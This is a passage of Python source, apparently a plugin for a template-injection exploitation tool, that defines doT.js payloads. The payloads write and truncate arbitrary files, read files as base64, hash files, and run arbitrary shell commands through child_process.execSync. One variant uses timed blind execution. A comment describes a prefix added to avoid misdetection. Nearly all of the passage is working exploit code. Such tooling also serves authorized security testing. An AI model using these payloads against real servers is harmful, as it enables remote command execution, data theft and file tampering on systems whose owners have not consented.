(self)
| 8 | class Dot(javascript.Javascript): |
| 9 | |
| 10 | def init(self): |
| 11 | |
| 12 | self.update_actions({ |
| 13 | 'render' : { |
| 14 | 'render': '{{=%(code)s}}', |
| 15 | 'header': '{{=%(header)s}}', |
| 16 | 'trailer': '{{=%(trailer)s}}' |
| 17 | }, |
| 18 | 'write' : { |
| 19 | 'call' : 'inject', |
| 20 | 'write' : """{{=global.process.mainModule.require('fs').appendFileSync('%(path)s', Buffer('%(chunk_b64)s', 'base64'), 'binary')}}""", |
| 21 | 'truncate' : """{{=global.process.mainModule.require('fs').writeFileSync('%(path)s', '')}}""" |
| 22 | }, |
| 23 | 'read' : { |
| 24 | 'call': 'evaluate', |
| 25 | 'read' : """global.process.mainModule.require('fs').readFileSync('%(path)s').toString('base64');""" |
| 26 | }, |
| 27 | 'md5' : { |
| 28 | 'call': 'evaluate', |
| 29 | 'md5': """global.process.mainModule.require('crypto').createHash('md5').update(global.process.mainModule.require('fs').readFileSync('%(path)s')).digest("hex");""" |
| 30 | }, |
| 31 | 'evaluate' : { |
| 32 | 'test_os': """global.process.mainModule.require('os').platform()""", |
| 33 | }, |
| 34 | 'execute' : { |
| 35 | 'call': 'evaluate', |
| 36 | 'execute': """global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString());""" |
| 37 | }, |
| 38 | 'execute_blind' : { |
| 39 | # The bogus prefix is to avoid false detection of Javascript instead of doT |
| 40 | 'call': 'inject', |
| 41 | 'execute_blind': """{{=''}}{{global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i');}}""" |
| 42 | }, |
| 43 | }) |
| 44 | |
| 45 | self.set_contexts([ |
| 46 | |
| 47 | # Text context, no closures |
| 48 | { 'level': 0 }, |
| 49 | |
| 50 | { 'level': 1, 'prefix': '%(closure)s;}}', 'suffix' : '{{1;', 'closures' : javascript.ctx_closures }, |
| 51 | |
| 52 | ]) |
| 53 |
nothing calls this directly
no test coverage detected